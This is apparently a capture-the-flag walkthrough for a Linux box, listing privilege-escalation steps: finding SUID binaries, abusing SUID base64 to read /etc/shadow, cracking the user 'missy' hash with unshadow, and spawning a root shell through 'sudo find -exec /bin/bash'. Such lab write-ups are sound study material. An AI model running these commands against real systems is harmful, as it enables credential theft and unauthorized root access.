Privilege Escalation

Check for SUID files

find / -perm -u=s -type f -ls 2>/dev/null

We found base64

Use https://gtfobins.github.io/ to exploit it.

We can read any file, we read /etc/shadow to see the hash of other users.

LFILE=/etc/shadow
base64 "$LFILE" | base64 --decode

On our machine crack the hash missy

Create a file passwd, copy the missy line of passwd

Create the shadow, copy the missy line of shadow

Unshadow the file using unshadow to the unshadowed file

unshadow passwd shadow > unshadowed

Crack the unshadowed file

Get the first flag

Login as missy

su missy

The flag is on /home/missy/Documents

Escalate to root

Check sudo -l for missy

Leverage find

sudo find / etc/passwd -exec /bin/bash \;

We are root now

Get the second flag